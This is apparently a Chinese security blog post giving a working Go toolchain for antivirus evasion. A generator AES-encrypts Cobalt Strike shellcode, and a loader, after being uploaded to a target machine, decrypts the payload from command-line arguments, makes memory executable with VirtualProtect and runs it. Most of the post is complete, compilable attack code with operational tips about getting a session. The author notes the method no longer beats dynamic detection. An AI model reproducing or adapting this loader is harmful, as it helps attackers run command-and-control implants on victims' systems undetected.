golang分离加载shellcode实现免杀
文章最后更新时间为:2022年12月02日 16:13:11
20221202更新:本文方法已失效,无法对抗动态查杀。
整体利用思路:生成器生成AES加密的Shellcode, 加载器代码中无Shellcode,参数接受。
1. 生成shellcode
以下以cs为例:attacks -> packages -> payload generator -> C
2. 加密shellcode
利用生成器生成aes加密的shellcode
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"math/rand"
"time"
)
var shellcode = []byte("\xfc\x48\x83......")
//随机生成key,后面用来解密的
func key(l int) string {
str := "0123456789abcdefghijklmnopqrstuvwxyz"
bytes := []byte(str)
result := []byte{}
r := rand.New(rand.NewSource(time.Now().UnixNano()))
for i := 0; i < l; i++ {
result = append(result, bytes[r.Intn(len(bytes))])
}
return string(result)
}
//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = PKCS5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
//主函数入口,对字符进行了处理
func main() {
key1 := key(16)
fmt.Println("Key:", key1)
var key []byte = []byte(key1)
aes, _ := AesEncrypt(shellcode, key)
encoded := base64.StdEncoding.EncodeToString(aes)
fmt.Println("Code:", encoded)
}
3. 加载器执行shellcode
上传加载器到目标机器,并且加载shellcode解密执行
加载器代码(通用):
// 交叉编译:CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"os"
"syscall"
"unsafe"
)
//这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
//shellcode执行函数
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
//同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
//经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS5UnPadding(origData)
return origData, nil
}
//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
key1 := os.Args[1]
payload1 := os.Args[2]
encoded2, _ := base64.StdEncoding.DecodeString(payload1)
var key []byte = []byte(key1)
AES, _ := AesDecrypt(encoded2, key)
Run(AES)
}
(注意:这里可能会出错,没有接收到session的话多尝试执行几次)